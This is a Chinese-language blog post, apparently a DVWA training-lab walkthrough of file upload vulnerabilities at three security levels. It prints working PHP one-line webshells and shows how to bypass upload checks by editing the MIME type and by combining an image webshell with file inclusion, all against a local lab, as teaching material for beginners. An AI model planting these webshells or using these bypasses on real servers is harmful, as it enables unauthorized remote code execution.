freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

File Upload-黑盒测试
新之助 2023-04-12 10:54:48 172459
所属地 云南省

文件上传漏洞配合文件包含漏洞使用可以+500的攻击力

shell:就是一个命令系统,类似Win下的cmd

Low级别:

1.我们直接点击浏览,上传一个shell.php后缀的文件,其内容为

<?php @eval($_POST["pass"])?>

是简单的PHP一句话木马

1681265291_6436128bbd37dc9fa3e06.png!small?1681265293422

2.点击Uplaod提交后,可以看到直接就上传成功了,系统并为做任何的校验

当前URL为:http://127.0.0.1/security/DVWA/vulnerabilities/upload/#

上传的路径为:../../hackable/uploads/shell.php

直接拼接后得当前文件的上传路径为:http://127.0.0.1/security/DVWA/hackable/uploads/shell.php

1681265393_643612f18fffb6bed143d.png!small?1681265395259

3.接着我们可以通过shell管理工具直接连接

这里因为上传的是一个一句话的shell,所以直接拿蚁剑连接即可,打开蚁剑点击Add,添加一个Shell

1681265522_64361372cd5aece996df4.png!small?1681265524505

输入刚才拼接好的上传路径,以及Shell的密码,然后再点击Add添加

1681265560_6436139805405f0b872a9.png!small?1681265561757

然后就可以进行一系列操作,上传大马,下载文件,提权等

Medium级别:

1.首先我们选择一个脚本文件horse.php其内容为:

最原始的PHP一句话木马,密码为rootkit

<?php @eval($_GET['rootkit']);?>

点击Upload上传

1681265806_6436148e5304f1a81472e.png!small?1681265807977

可以看到并没有上传成功,对方使用了白名单过滤,只接收JPEG和PNG格式的图片

白名单:就是允许通过的一系列数据

黑名单:就是不允许通过的一系列数据

1681265829_643614a5ae81f79d1af7f.png!small?1681265831313

2.此时我们可以打开BurpSuite,开启代理,再次点击浏览选择horse.php文件点击Upload,回到Bp可以看到拦截到了上传的HTTP数据包,可以看到对数据包的文件大小、类型做了限制,因为我们上传的文件小于它的最大限制所以就不用管了

直接看Content-Type:application/octet-stream该字段又叫MIME值表示文件的类型,因为我们上传的是一个.php的脚本文件所以此时为application/octet-stream二进制数据流,其各式为

Content-Type:主类型/子类型

1681265939_6436151339b223e6dda66.png!small?1681265941349

3.为了绕过它的白名单限制,我们就将该字段改成 image/png 代表当前上传的文件是图片类型,以欺骗检查修改MIME值后点击Forward放包

1681266080_643615a0069b4dc9e57c1.png!small?1681266082341

4.可以看到我们的horse.php文件上传成功了

此时URL:http://localhost/security/DVWA/vulnerabilities/upload/#

上传路径:../../hackable/uploads/horse.php

拼接路径:http://localhost/security/DVWA/hackable/uploads/horse.php

1681266336_643616a03e524e313a2c2.png!small?1681266337885

5.接着我们在蚁剑当中连接这个木马

1681266366_643616be97f03cec0f6d6.png!small?1681266368284

可以看到连接成功了

1681266391_643616d70dfd6493a7a40.png!small?1681266392767

High级别:

1.选择webshell.php文件点击Upload上传,其文件内容为

<?php @eval($_GET["root"])?>

可以看到上传失败了,对方做了限制,只接收JPEG或PNG的图片

1681266447_6436170f34b4662631468.png!small?1681266448861

2.我们首先猜测它是验证MIME值,因此我们需要通过抓包修改MIME值

使用Bp抓包后,可以看到此时下面的MIME值并不是一个图片的值

1681266551_6436177736f81eb0134bc.png!small?1681266553112

我们将其修改为imgae/png,放包后回到dvwa查看

1681266576_6436179099ec5f53456c5.png!small?1681266578764

可以看到并没有绕过限制

1681266603_643617ab0aabbbc1cbfea.png!small?1681266604724

3.此时我们就可以考虑一下转行了!

呸!此时我们猜测它可能是做了后缀的检查

接着可以探测一下它的WEB环境,看一下WEB中间件的版本是否存在解析漏洞

或者在挖一下是否存在文件包含漏洞,假设这里存在一个文件包含漏洞

我们利用文件包含漏洞+图片马的方式绕过后缀检查

制作一个图片马:webshell.php,内容输入完后将其改为.jpg格式

GIF98a
<?php phpinfo();?>

关闭Bp的拦截,重新上传文件

可以看到上传成功了

此时URL为:http://localhost/security/DVWA/vulnerabilities/upload/#

上传路径为:../../hackable/uploads/webshell.jpg

拼接后的路径为:http://localhost/security/DVWA/hackable/uploads/webshell.jpg

1681267780_64361c448e2a3edaaab0d.png!small?1681267782203

5.接着我们修改dvwa的等级为low,来到隔壁File Inclusion模块

将拼接后得到的文件路径直接作为page参数被包含,可以看到成功读取到了我们上传的文件

page=http://localhost/security/DVWA/hackable/uploads/webshell.jpg

因为是文件包含漏洞所以我们只能对其进行进一步的信息收集,不断的读取各种文件

1681267825_64361c7156aee7ae3c25d.png!small?1681267827031


# File Upload # dvwa靶场
本文为 新之助 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
DVWA靶场通关秘籍
新之助 LV.4
WEB漏洞靶场教学(适合刚开始接触的人看),从漏洞原理到手法,细节都有
  • 11 文章数
  • 4 关注者
SQL Injection(Blind)-黑盒测试
2023-04-13
SQL Injection-黑盒测试
2023-04-13
File Inclusion-黑盒测试
2023-04-12
文章目录